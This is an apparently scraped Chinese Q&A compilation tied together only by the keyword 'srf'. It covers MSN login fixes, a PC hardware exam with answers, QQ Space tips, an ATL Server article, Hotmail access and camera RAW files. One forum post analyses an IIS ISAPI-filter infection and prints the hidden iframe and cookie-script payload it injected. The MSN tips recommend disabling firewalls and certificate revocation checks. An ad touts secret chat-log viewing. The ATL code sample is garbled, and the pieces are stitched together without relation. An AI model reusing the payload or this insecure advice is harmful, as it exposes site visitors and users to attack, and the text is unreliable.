1. 怎样可以申请MSN
首先你得有一个msn的邮箱,这个以后就是你登陆msn得账号了。然后去http://www.msn.com.cn 注册就可以了。
或者采用以下方法:
方法1,访问MSN网站,在上面选择登陆后出现的页面中选择注册即可。
方法2,访问Hotmail,申请一个邮箱即可。
方法3,下载MSN,然后用自己已经拥有的邮箱帐号直接申请即可。
2. msn无法登陆,被防火墙组织
msn无法登陆,msn不能登陆,这些都是广大网友在上网过程中经常碰到的问题,如何解决这些问题,现在我们列出一些解决问题的方法,仅供参考!
可能有许多原因导致不能登录到 .NET Messenger Service或在登陆时出现种种错误(例如:“0x81000370错误”)。这些问题通常可以用下面几个方法之一解决:
1.你的电脑上的“日期/时间属性”是否设置正确:双击时间,检查日期和时间是否正确设置。
2.如果你的帐号和密码没有在MSN中保存,你需要确认你输入的帐号和密码是正确的(请注意大小写字母及帐号的后缀)。
3.禁用您浏览器中的“自动检测”设置。对于 Internet Explorer 用户,请单击 IE“工具”菜单、单击“Internet 选项”、单击“连接”选项卡、单击“局域网设置”按钮、然后清除“自动检测设置”框。
4.清除IE cache和Cookies:打开Internet Explorer浏览器,按工具菜单,然后选择“Internet 选项”,点击“删除文件”按钮和“删除 Cookies”按钮。
5.检查 IE 安全设定:打开Internet Explorer浏览器,按工具菜单,选择“Internet 选项”,选择“高级”,拖动滚动条到安全选区,证实“检查服务器证书吊销”没有被选中,同时证实“使用 SSL 2.0”和“使用 SSL 3.0”被选中。然后按“确定”。
6.点击“开始”--“运行”,键入:regsvr32 softpub.dll 然后按“确定”。
7.检查错误的代理服务器设置。在 MSN Messenger“工具”菜单上,单击“选项”。在“连接”选项卡上,确保您清除了“我使用代理服务器”复选框。
8.防火墙和第三方应用程序可能会影响连接到 MSN Messenger。您可以禁用应用程序、防火墙或打开防火墙相应端口,然后尝试连接到 .Net Messenger Service。
9.如果您为局域网使用 ICS 或路由器,则可能需要调整一些设置或更新硬件/固件驱动程序。
10.如果您的 Passport 未被识别,请登录 Passport 站点http://www.passport.com ,并确认在该处可被识别。如果在该处可被识别,但仍不能登录到 .NET Messenger Service,则可能是消息服务器暂时关闭正在维护或达到了 Internet 的最大通流量(使用率高峰期间)。请稍后再试。也可以检查服务器状态页以查看服务器的最新信息。
11.如果在Passport 站点仍然不可识别,请到这里:http://memberservicesnet.passport.com/memberservice.srf ,然后选择:“我忘记了密码”。
方法二:
进入MSN7.0的“选项”,再进入“连接”,再进入“高级设置”,把socks和http框里的内容都删除,再试试“测试TCP连接”,done!~~~~~
方法三:
在WINDOWS的"开始"菜单下选择"运行",然后依次键入:
regsvr32 softpub.dll
regsvr32 mssip32.dll
再运行 regsvr32 ititpki.dll
看完之后,再试试,您的msn现在可以登陆了吗?
3. srf微机系统
一、微机的主要部件 1. 一个完整的微机系统是由硬件系统和软件系统组成。 2. CPU主要包括运算器和控制器两个部件。 3. CPU的基本功能是运算功能、逻辑处理功能和控制功能。 4. 控制器的基本功能是控制微机各个部件协调一致地工作。 5. 运算器的基本功能是进行算术运算和逻辑运算。 6. 存储器的基本功能是存储各种信息。 7. 为解决CPU和主存储器之间的速度匹配问题,通常采用的办法是在CPU和主存储器之间增设一个高速缓冲器。 8. 微机在实际运行过程中的速度不但由CPU的频率决定,而且还受到主板和内存速度的影响,并受到制造工艺和芯片组特性等的限制。 9. 在选择微机配件时,主板类型必须与CPU匹配。 10. 倍频是指CPU的时钟频率和系统总线(外频)间相差的倍数。 11. 地址总线宽度决定CPU可以访问的物理地址空间。 12. CPU超频是通过提高外频或倍频实现的。 13. 微机字长与数据总线的宽度有关。 14. 微机系统采用总线结构对CPU、存储器和外部设备进行连接。总线通常由数据总线、地址总线和控制总线三部分组成。 15. 在CMOS芯片中主要存储的信息有CPU的类型、内存储器的容量和软硬盘驱动器的类型和基本参数。 16. 主板的格局好坏对微机整体性能有关系,主板上的元器件质量越好,表示主板的品质越有保证。 17. 微机主板上一般集成的接口有并行接口、串行接口、USB接口、鼠标接口、键盘接口等。 18. SRAM存储器的特点是速度快,价格较贵,常用于高速缓冲存储器。 19. USB闪存的优点有抗震性好、可靠性好、体积小携带方便、USB接口(使用方便,即插即用)。 20. TCO认证重点认证的问题有环保问题、辐射问题、视觉效果等。
二、微机的组装 1. 组装微机需要学习基本的硬件知识。 2. 为了避免人体静电损坏微机件,在拿取元器件时可以采用防静电手环进行放电处理。 3. 安装CPU时,要注意安插方向。 4. 安插内存条时,要保证内存条与主板成90°角度。 5. 内存插槽两端的白色卡榫的作用是固定内存条,使内存条与主板插槽接触良好。 6. 安装时,主板背部的任何引脚不要接触到机箱的金属外壳。 7. 主板的固定螺丝不要拧得过紧,不然会使主板印制电路出现变形开裂。 8. 一个硬盘分区后,每个分区都可以安装一种操作系统。 9. 微机硬件组装的基本步骤: (1)安装CPU及散热器 (2)安装内存 (3)固定主板 (4)安装电源 (5)安装各类板卡 (6)安装驱动器 (7)连接电源线 (8)连接机箱面板线 (9)连接键盘、鼠标和显示器等外设。 10. 系统CMOS参数设置步骤: (1) 启动BIOS设置程序,根据屏幕提示按相应键,如“Del”键,进入BIOS程序设置主界面。 (2) 根据具体需要修改设置: A. 标准CMOS设置 B. 高级BIOS参数设置 C. 高级芯片组参数设置 D. 内建整合周边设置 E. 电源管理设置 F. 即插即用设置 G. 微机健康状态 H. 频率与电压控制 I. 设置密码 (3) 设置修改完毕,退出BIOS设置。 11. 微机软件安装步骤。 (1) 正确设置CMOS参数设置。 (2) 根据用户实际需求,合理分割硬盘空间,建立硬盘分区、逻辑盘。 (3) 格式化硬盘的各逻辑盘。 (4) 安装操作系统,安装和设置各种设备驱动程序。 (5) 安装各种应用软件。 12. 注册表的作用。 注册表是Windows系统的核心数据库,它保存了所有系统信息,应用程序运行时可从注册表读出这些信息。通过对注册表的修改,可以优化操作系统及应用软件,设置Windows的使用权限,解决硬件与网络设置不当带来的故障。
三、微机的故障与维护 1. 微机组装完成,加电开机后发现不启动,可能的原因是CPU或内存或主板有故障。 2. 微机组装完成,加电开机后发现系统时间不对,经调试关机后重启还是不对,最可能的原因是主板CMOS的电池失效。 3. 微机通过声卡播放CD音乐时唯一的故障是没有声音,引发该故障的原因可能是音箱连接有误、音箱开关没有打开或音量太小和声卡的输出接口损坏。 4. 微机组装完成,加电开机后系统提示找不到引导盘,不可能是显示器连接不良。 5. 微机在使用过程中,鼠标出现定位不准、移动不灵活的现象,引发该故障的原因可能是鼠标有关触点受灰尘污物污染、鼠标与机箱的连接不良或鼠标线有断裂或微机感染病毒。 6. 硬盘故障可能会使微机无法正常启动或找不到引导盘或使数据或文件丢失。 7. 正确的说法有:频繁开关机会减少微机使用寿命;应避免在强磁场干扰下使用微机;外界噪声对微机的使用一般不会产生影响;微机最好不要长时间闲置不用。 8. 硬盘内部的摆杆不灵、硬盘内部的软排线破损、硬盘内部的某一个盘片损坏、硬盘内部的某一个磁头破裂都会引起硬盘工作不正常。 9. 引起硬盘故障的原因有很多,有可能发生是硬盘磁介质损坏使磁道受损、硬盘主从跳线设置错误、硬盘排线与主板插座接触不良。 10. 引起内存故障的原因很多,如内存条安插不到位使接口接触不良、使用环境过度潮湿使内存条金属引脚锈蚀、使用环境过度干燥使静电聚集损坏内存条的芯片都会引起内存故障。 11. 微机在使用过程中,如果光驱出现读取不畅的现象,不宜采用的维修措施是彻底拆装激光头、活动机构等内部部件。 12. 微机使用过程中,键盘出现部分按键失效或不灵敏,引发该故障的原因不可能的是键盘与主机连接失误。 13. 微机经常出现蓝屏死机故障,分析可能的原因有微机内存有故障、微机感染病毒、CPU超频过高、CPU风扇出现故障、CPU温度过高等。 14. 微机显示器显色不正常,缺少一种颜色,引发该故障的原因可能是显示器与主机的接口连接不良、显示器信号线接头有一根铜针歪斜和主机内的显卡有故障。 15. CRT显示器若受到电磁影响,会出现显示画面扭曲或变色的现象。
一、单项选择题
(将一个正确的答案代码填入括号中,每小题2分,共30分)
运算器的基本功能是( d )。
D.进行算术运算和逻辑运算
以下四种存储器中,易失存储器是( b )。
B.RAM
SRAM存储器的特点是( b )。
B.速度快,价格较贵,常用于高速缓冲存储器
对于一台微机而言,不是必备的设备是( d )。
D.手写板
某一CPU型号为P4 1.7GHz,其中1.7GHz指的是CPU的( a )。
A.主频
下列哪一个不是显卡接口规范( c )。
C.IDE
下列哪一种不是CPU的主要性能指标( d )。
D.地址总线宽度
IDE硬盘数据接口的针脚数是( b )。
B.40
位于CPU附近的主板芯片组俗称( d )。
D.北桥芯片
BIOS设置中对硬盘参数的设置选项是(b )。
B.Main
显卡上的RAMDAC实际起的作用是( a )。
A.数模信号转换
以下与主板选型无关的是( c )。
A.CPU插座 B.内存插槽
C.寻道时间 D.芯片组性能
当要求设置用户密码时,需在BIOS设置的Security(安全选项)中设置(c ) C.User Password
如果一开机显示器就黑屏,故障原因不可能的是( b
B.显示驱动程序错
在运行窗口中输入什么命令可以打开注册表编辑器(a )。
A.regedit
二、选择填空题
(将一个正确的答案代码填入括号中,每空1分,共20分)
CPU是由 a )和( c )组成的。
A.运算器 C.控制器 D.输入设备
硬盘的容量与哪些参数有关(a )、( b )和( c )。
A.磁头数B.磁道数 C.扇区数 D.盘片厚度
显示器TCO认证,对( b )、( c )和( d)等多项指标有严格的要求。
B.辐射问题
C.视觉效果 D.环保问题
微机除了无法正常运行某一应用软件(例如:3D MAX),其他一切正常,可能的原因是( a)、( b)和( d)。
A.该应用软件的文件损坏
B.该应用软件与其他软件有冲突
D.系统资源严重不足
在CMOS芯片中主要存储的信息有( a )、(b )和( c )。
A.CPU的类型 B.内存的容量
C.硬盘的类型和基本参数
微机组装完成,加电开机后系统提示找不到引导盘,可能是( a )、( b )和( d )。
A.硬盘自身故障B.硬盘连接不良
D.主板CMOS硬盘有关参数的设置错误
微机出现“死机”故障,引发该故障的原因可能是( a )、(c)和(d )。
A.计算机感染病毒
C.内存发生故障 D.CPU散热器损坏
三、判断题
(正确的在括号内打上“√”,错误的打上“×”。每小题2分,共20分)
CPU可从内存读取数据也可从外存读取数据。( × )
只有CPU使用Cache,其它设备均不使用Cache。(× )
总线按功能可分为数据总线和控制总线二种。(× )
BIOS是基本输入输出系统,用于上电自检、开机引导、基本外设和系统的CMOS设置。( √ )
硬盘是被密封在高度无尘的环境中,在日常大气中是不能打开外壳的。(√ )
液晶显示器的色彩表现力比CRT显示器好。( × )
在选择微机配件时,主板类型必须与CPU匹配。( √ )
CPU的散热器可装可不装。( × )
主板的固定螺丝不要拧得过紧,不然会使主板印制电路出现变形开裂。( √ )
显卡可以与主板集成在一起,这对偏重图像处理及动画设计的用户来说一般没有影响。( × )
四、简答题(每小题10分,共30分)
结合实训经验,写出主板上的六种接口以及可连接的设备。
答:主板上的六种接口以及可连接的设备如下:
(1)PCI接口:可连接网卡、声卡等扩展卡。
(2)PCI Express接口:可连接显卡。
(3)IDE接口:可连接硬盘、光驱。
(4)SATA接口:可连接硬盘。
(5)USB接口:可连接键盘、鼠标、移动硬盘、U盘等。
(6)PS/2接口:可连接键盘、鼠标。
结合实训经验,简述硬盘日常维护的注意事项。
答:硬盘日常维护的注意事项有:
(1)硬盘正在读写时不要切断电源。
(2)防止硬盘遭受震动。
(3)定期对硬盘进行扫描和整理。
(4)注意防尘,保持环境卫生。
(5)控制环境温度,防止高温、潮湿、磁化。
结合实训经验,简述微机组装的基本步骤。
答:微机组装的基本步骤如下:
(1)安装CPU及散热器。
(2)安装内存。
(3)固定主板。
(4)安装电源。
(5)安装各类板卡。
(6)安装驱动器。
(7)连接电源线。
(8)连接机箱面板线。
(9)连接键盘、鼠标和显示器等外设。
4. Qq空间里显示:xx活力地访问了你的空间,文艺地看了你的说说。。。。。,这些怎么设置 谢谢
网络知道 提问
Qq空间里显示:xx活力地访问了你的空间,文艺地看了你的说说.....,这些怎
QQ空间上显示,访问了你的空间,是什么意思?
写回答有奖励 共27个回答
复燃君
2021-06-04 TA获得超过2071个赞
关注
就是有朋友或者陌生人访问了自己的QQ空间,查看了自己在QQ空间里发表过的内容,空间里面包括说说、日志、音乐盒、相册、个人档案等内容。
一旦有人进入自己的QQ空间,就会自动出现访客记录,这时便可以知道有谁在访问自己,若是自己点开了其他人的空间,同样也会出现访客记录。
QQ空间功能:
1、认证空间
认证空间拥有更多专属功能的腾讯专页。用户可以自主添加成为认证空间的粉丝,之后认证空间的相关更新都会在其粉丝的个人中心中展现,粉丝可以及时关注到所喜爱的品牌、机构、媒体或名人的最新动态。
2、空间相册
空间相册是QQ用户的个人相片展示、存放的平台,所有QQ用户免费享用相册,QQ黄钻用户和会员用户更可免费享用超大空间。
3、栏目导航
主页,日志,相册,说说,留言板,音乐,分享,礼物,投票,个人档,时光轴。
展开剩余71%
0 1
更多回答(26)
想要2部手机查看聊天记录没途径?给你快速简单的方法
值得一看的聊天记录相关信息推荐
操作查看聊天记录,只需一个软件,专业团队,教你3步,实时接收查看聊天记录
lsf.chinalockexporter.net.cn广告
QQ浏览器_安卓版 官方下载
根据文中提到的qq空间为您推荐
QQ浏览器-免流量看视频,超小内存,极速流畅,简便操作!官方版_无病毒_无广告!
本月18533人下载
咨询
深圳市腾讯计算机系统有限公司广告
网络众测客户端_网络营销_创收益/获取更多优质客户
值得一看的网络相关信息推荐
全新推广平台,助力企业洞悉行业竞对,简化投放流程,使广告投放更简单,营销更轻松!网络众测客户端 通过技术让投放更高效!
本月9513人已拨打电话咨询问题
咨询
网络在线网络技术北京有限公司广告
为您推荐
手机qq空间里访问记录显示,访问了您的空间是什么意思
“查看了您的说说”是进入了你的空间查看。 “进入了您的空间”就不用说了。 “查看了某条说说(某相
4 浏览31 2020-04-22
手机qq空间里访问记录显示,访问了您的空间是什么意思
就是别人看了你的空间呀; 也有可能是别人在看好友动态时点进了你发的说说、日志、分享的动态里; 只要点
73 浏览9467
QQ空间本来显示查看了你的说说后来过来段时间又变成访问了你的空间是什么意思?
访问指的是对方进入您的空间晃荡了一圈,但是没有打开任意一个日志、说说来查看;仅仅是浏览一遍而已。
2 浏览2070 2019-03-13
QQ空间客户端里的xx人访问你的空间、查看了你的说说,是什么意思啊
你的好友转载了你的说说,⊙_⊙在你好友的空间出现。xx通过访问你好友,点击了你好友转载你的说说链接到
3 浏览16 2019-08-19
QQ空间里被访客中显示邪恶的访问了你什么意思?
那是QQ新出的功能,可以选很多选项的,其实就是有人访问了你的空间的意思
浏览103 2020-01-19
QQ浏览器_官方正版_免费下载
根据文中提到的qq空间为您推荐
深圳市腾讯计算机系统广告
网络qq输入法智能输入,立即下载
值得一看的输入法相关信息推荐
srf..com广告
正在加载
向网友提问
登录 注册 反馈 申诉
电脑版 ©2021 Bai
京ICP证030173号-1 京网文【2013】0934-983号
5. 为什么可以访问网业却无法登陆MSN
最近好多朋友也常碰到这样的问题,特别是7.5版本的,可能有许多原因导致不能登录到 .NET Messenger Service或在登陆时出现种种错误(例如就像你碰到的防火墙问题,还有“0x81000370错误”)。这些问题通常可以用下面几个方法之一解决:
1.你的电脑上的“日期/时间属性”是否设置正确:双击时间,检查日期和时间是否正确设置。
2.如果你的帐号和密码没有在MSN中保存,你需要确认你输入的帐号和密码是正确的(请注意大小写字母及帐号的后缀)。
3.禁用您浏览器中的“自动检测”设置。对于 Internet Explorer 用户,请单击 IE“工具”菜单、单击“Internet 选项”、单击“连接”选项卡、单击“局域网设置”按钮、然后清除“自动检测设置”框。
4.清除IE cache和Cookies:打开Internet Explorer浏览器,按工具菜单,然后选择“Internet 选项”,点击“删除文件”按钮和“删除 Cookies”按钮。
5.检查 IE 安全设定:打开Internet Explorer浏览器,按工具菜单,选择“Internet 选项”,选择“高级”,拖动滚动条到安全选区,证实“检查服务器证书吊销”没有被选中,同时证实“使用 SSL 2.0”和“使用 SSL 3.0”被选中。然后按“确定”。
6.点击“开始”--“运行”,键入:regsvr32 softpub.dll然后按“确定”。
7.检查错误的代理服务器设置。在 MSN Messenger“工具”菜单上,单击“选项”。在“连接”选项卡上,确保您清除了“我使用代理服务器”复选框。
8.防火墙和第三方应用程序可能会影响连接到 MSN Messenger。您可以禁用应用程序、防火墙或打开防火墙相应端口,然后尝试连接到 .Net MessengerService。
9.如果您为局域网使用 ICS 或路由器,则可能需要调整一些设置或更新硬件/固件驱动程序。
10.如果您的 Passport 未被识别,请登录 Passport 站点www.passport.com ,并确认在该处可被识别。如果在该处可被识别,但仍不能登录到 .NET Messenger Service,则可能是消息服务器暂时关闭正在维护或达到了 Internet 的最大通流量(使用率高峰期间)。请稍后再试。也可以检查服务器状态页以查看服务器的最新信息。
11.如果在Passport 站点仍然不可识别,请到这里:memberservicesnet.passport.com/memberservice.srf ,然后选择:“我忘记了密码”。
特别是第6点,很多人都是在这里解决的,这可能是MSN发布时的BUG吧,不过微软就没有承认过,呵呵
6. 请问iis有命令行工具吗
C++是很多网络中繁忙站点的核心。这为构建中间层企业逻辑提供了高度的性能基础,经常用于扩展Web服务器和动态地生成HTML。今天使用Internet信息服务(IIS)和Visual Studio?的开发人员可以通过动态服务器主网页(ASP)创建动态内容,通过ISAPI扩展IIS。但尽管ASP容易学,ISAPI只被相对较少的开发人员所使用,这主要是因为很难直接从象Visual C++?这样的开发工具中进行定位,而且支持也仅限于库封装器和ISAPI扩展向导。
ATL 服务器,包含在下一代Visual C++?中的对活动模板库(ATL)的一组扩展,使C++开发人员能开发性能极高的IIS Web应用程序。ATL服务器提供了功能强大的类,这些类天然能通过Internet服务器应用程序编程接口(ISAPI)与IIS进行交互。然而,与今天开发人员所知道的ISAPI不同,ATL服务器是可获得的、直观的,在开发环境中,它依赖构建入ATL样式和向导内的最少的类。另外,对ATL服务器的广泛支持已经构建入了Visual C++中,包括部署功能和调试支持。
在Windows DNA解决方案中使用 ATL 服务器
与微软其它Windows?DNA服务器技术不同,ATL服务器允许组织利用高性能、相对相对便宜的PC硬件组建Web站点的基础。ATL服务器被设计为可与对称多处理(SMP)硬件协同工作,但它还设计为允许新设备加入到现有环境中。当硬件加入到服务器群中时,用ATL服务器构建的应用程序将进行扩展。
ATL服务器核心实现案例中对用如ASP之类技术构建现有解决方案进行扩展。ATL服务器是对ASP的补充,可以有选择地用于性能至关重要的Web应用程序的各个部分。在很多情况下,ATL服务器并不是必需的;相反,ASP和将来版本的ASP将提供很多性能。当性能极为重要时,才使用ATL服务器。这与C++通用模型是一致的。很多公司只在解决方案需要时才使用他们的C++开发资源,通常要达到尽可能高的性能或编写其它高级语言无法访问的低级API。
ATL服务器也是用Visual C++构建XML Web 服务的工具。创建ATL服务器应用程序的开发人员可以在ATL服务器应用程序向导中选择"作为Web服务发布"。通过发布XML Web 服务,开发人员可以通过Web服务器提供应用程序;此应用程序可用SOAP通过HTTP调用。这就将Web应用程序的可编程能力扩展到要通过防火墙的远程客户端。
ATL 服务器结构概述
ATL服务器解决方案只需要在服务器端安装文件。一个典型ATL服务器应用程序的文件包括一个ATL 服务器ISAPI动态链接库(DLL),一个或多个.SRF文件,零个或多个应用程序DLLs。
运行中的ATL 服务器
解释这种结构最好的方式是举一个例子:规范的"Hello World!"。此处显示的"Hello World!"应用程序是下一Visual C++发行版用于构建ATL服务器应用程序的开端。运行完ATL服务器应用程序向导后创建的在部分代码如此处所示。
一个ATL服务器ISAPI DLL被用于每个Web站点。DLL作为IIS的扩展,允许引用了.SRF文件的URLs被DLLs所处理。ISAPI DLL是IIS注册的用于.SRF文件的默认处理器。在这个例子中,用户访问http://webserver/atlserver/HelloWorld.srf通过ISAPI DLL初始化.SRF文件的处理过程。ISAPI DLL 通过 CisapiExtension类完成它的实现。ISAPI扩展通过IserviceProvider接口提供来自ISAPI扩展的服务以请示处理对象。ISAPI可能提供的一些服务是会话服务,每线程数据库链接,浏览器功能服务,及一些缓冲服务,包括模板,DLL,和二进制大对象(BLOB)缓冲。如果在ATL服务器应用程序向导选中了,ATL服务器将自动为开发人员构建一个ISAPI DLL。开发人员可以根据期望的定置等级,修改生成的ISAPI DLL的默认代码,但这并不是必需的。
.SRF文件驻留在Web服务器上,它定义了网页如何布局,由ATL服务器应用程序DLLs生成的动态内容如何使用。.SRF文件的内部内容是大多数开发人员所熟悉的;他们象HTML文件,但有一些值得注意的附加部分。
{{handler HelloWorld.dll/Default}}
< html >
< head >
< title >}< /title >
< /head >
< body >
< h1 >}< /h1 >
}
< /body >
< /html >
HelloWorld.srf文件的内容
此.SRF文件的最上一行指出,由这个文件调用的代码位于HelloWorld DLL中,而HelloWorld DLL是为名为"'Default'"的C++对象提供一个接口。注意,此处使用了两对大括号。在SRF文件中,这两对大括号叫作代替标记。这些大括号中的内容包含了描述指示和/或在文件上部的处理器标记中命名的C++对象的方法名。} 和 }替代标记指定了"'Default'"对象(此对象将被调用以提供动态内容)的功能。
也许你已经注意到了,.SRF文件将HTML页布局与产生动态内容的代码区分开来。借助于ATL服务器,网页设计器可以在需要动态内容的地方,使用HTML编辑工具如Visual Studio .NET?位置标签对网页进行设计和布局。这些标签与由Visual C++创建的服务器端应用程序DLLs内的代码相对应。对代码进行处理的开发人员可以这样做,而不必关心网页中布局或静态文本的偶尔变化。
ATL服务器解决方案的大部分工作是在应用程序DLL中实现的。"替代方法映射"部分将.SRF文件中出现在双大括号中的名字映射到应用程序DLL源文件。
BEGIN_REPLACEMENT_METHOD_MAP(CHelloWorld)
REPLACEMENT_METHOD_ENTRY("Title", OnTitle)
REPLACEMENT_METHOD_ENTRY("HelloWorld", OnHelloWorld)
END_REPLACEMENT_METHOD_MAP()
HelloWorld.cpp文件中的替代方法映射部分
OnTitle 和 OnHelloWorld方法(与替代方法映射部分包含在同一个文件内)的实现比较简单。它们使用ChttpResponse对象的流操作符将动态内容写入到响应流中,然后发送到客户端。
HTTP_CODE OnTitle()
{
m_HttpResponse << "HelloWorld Sample";
return http_success;
}
http_code OnHelloWorld()
{
m_HttpResponse << "Hello World!";
return HTTP_SUCCESS;
}
HelloWorld.cpp文件中 OnTitle 和 OnHelloWorld 方法的实现
当然,应用程序DLL能做的远远超过这点事件。ATL服务器包含的类简化了对Crypto API和微软消息队列(MSMQ)的访问,允许通过简单邮件传输协议(SMTP)进行简单的邮件发送。应用程序DLL有许多应用类用于帮助对请求的处理。它们包括用于请求参数的集合类,cookies和POST数据。多目的Internet邮件提高警惕(MIME)语法分析器可用于分析发送到Web服务器的MIME数据。请求处理器有权访问一些接口,这些接口使它能够访问存在于ISAPI扩展的EXTENSION_CONTROL_BLOCK(带请求上下文的由IIS传递到ISAPI扩展的数据结构)中的所有信息。如果所有内容都必须动态生成,在不存在.SRF文件的情况下也可以使用请求处理器。
在处理.SRF文件的过程中,ATL 服务器 ISAPI DLL由文件的开头开始执行,调入在"handler"替代标记内指定的应用程序DLL。在应用程序DLL中将调用输出端口指针,此指针然后传递所请求的处理器的名字。如果找到这个处理器,应用程序DLL将创建这个处理器的一个实例,然后处理器的IRequestHandler接口将返回到ISAPI扩展。扩展然后调用IRequestHandler::HandleRequest方法,向它传递有关HTTP请求的信息。HandleRequest方法装入模板,对其进行分析,并将它发送到响应流中。作为性能上的一个改进,模板只分析一次。一旦它被分析过了,它就由ISAPI扩展以分析格式缓存。以后对模板的请求将ISAPI扩展的模板缓存提供服务。
本例的结果非常简单:在浏览器中显示两行文本(图2)。你将注意到文本"HelloWorld Sample"的格式在.SRF文件中进行管理:一对HTML头标签被}调用所包围。
图2. HelloWorld ATL 服务器应用程序的浏览器输出
总结
ATL服务器目前对于开发人员编写ISAPI代码是理想的,因为它在ISAPI和平台APIs上提供了常用代码的基本实现和简单的C++抽象层,简化了ISAPI开发中的编程任务。对此类库的补充支持是Visual C++开发环境中的向导和部署及调试支持。
预见到对Web应用程序有极大性能需求的建筑和开发经理也应当考虑ATL服务器。ATL服务器使用已经证实的方法确保在IIS之上最高级别的性能。希望进行高性能C++和IIS开发的任何C++开发人员,特别是具有ATL经验的开发人员将发现ATL服务器是有用的。
http://www.builder.com.cn/2007/1105/607005.shtml
通过不少朋友的询问 反馈信息 今天来服务器板 看到有几个兄弟同样的问题
把俺发现的情况发上来.
一台服务器 几乎所有网站打开网页 甚至HTML网页 都出现了
<iframe src="http://web.cn3721.org/web.htm" height=0 width=0></iframe>
这种样式的代码 一般在头部 部分杀毒软件打开会报毒
打开HTML或ASP PHP页面 在源码中怎么也找不到这段代码
起初会怀疑是JS 找了半天还是没有发现 连新建的HTML页面 也会有这段代码~
仔细寻找 问题应该在IIS上 打开IIS 重新启动一次 在主IIS上 右键属性 ISAPI 发现一个ISAPI扩展 没见过的
路径为:c:\windows\help\wanps.dll ISAP加载正常 绿色状态
取消 重新启动IIS 所有代码消失
看图片可以看到3个文件 提取出来就是者三个文件
wanps.ini内容为:
[code][Filter]
Cookie=GAG5=ABCDEFG
Redirector=C:\windows\help\wanps.txt[/code]
wanps.txt内容为:
[code]
<body>
<iframe src="http://web.cn3721.org/web.htm" height=0 width=0></iframe>
<script language="javascript">
<!--
var expires = new Date();
expires.setTime(expires.getTime() + 5 * 24* 60 * 60 * 1000);
document.cookie="GAG5=ABCDEFG;expires="+expires.toGMTString();
-->
</script>
</body>
[/code]
7. https://accountservices.msn.com/EmailPage.srfemailid=d9bb261c0466bb8e&ed=CU
访问Account.live.com,用msn ID登录后,点发送验证邮件,到自己的邮箱中打开验证邮件完成验证
8. 各位,现在Hotelmail服务器能访问吗(http://www.hotmail.com)
用下面的https加密方式访问就没事了:
https://login.live.com/login.srf?id=2&svc=mail
用https加密方式,封锁系统是探测不到,所以就可以用。
我测试可以使用,如果楼主发现可以用,希望采纳我的答案,谢谢。
9. srf文件是什么文件
SRF是数码相机的RAWDATA
打开方法
ImageAssist支持bmp,jpg,gif,png,mng,png,tiff,ico,tga,pcx,yuv444,yuv422,yuv420,raw,psd以及各品牌数码相机的raw data(orf,dcr,mrw,nef,srf,raf,x3f,erf,crw,pef)等各种文件格式的读写;
下载地址:
http://xunway.com/kingview/wwwroot/ImageAssist.rar
10. 为什么Hotmail显示密码错误
可能有人无意中知道了你的密码就偷了你的邮箱, 又或者黑客无意中黑到你的邮箱觉得还不错就改了你的密码.
建议你试着联系以前的朋友问问看以前的问题是什么. 如果找不到的话.
建议你去Hotmail的客服上去咨询一下, 或者联系微软的客服网站也是可以的. 因为好象总公司是微软. 写封信到微软客服, 大约第二天他们就会回信给你了. 他们态度很好的, 你的问题应该很快会解决.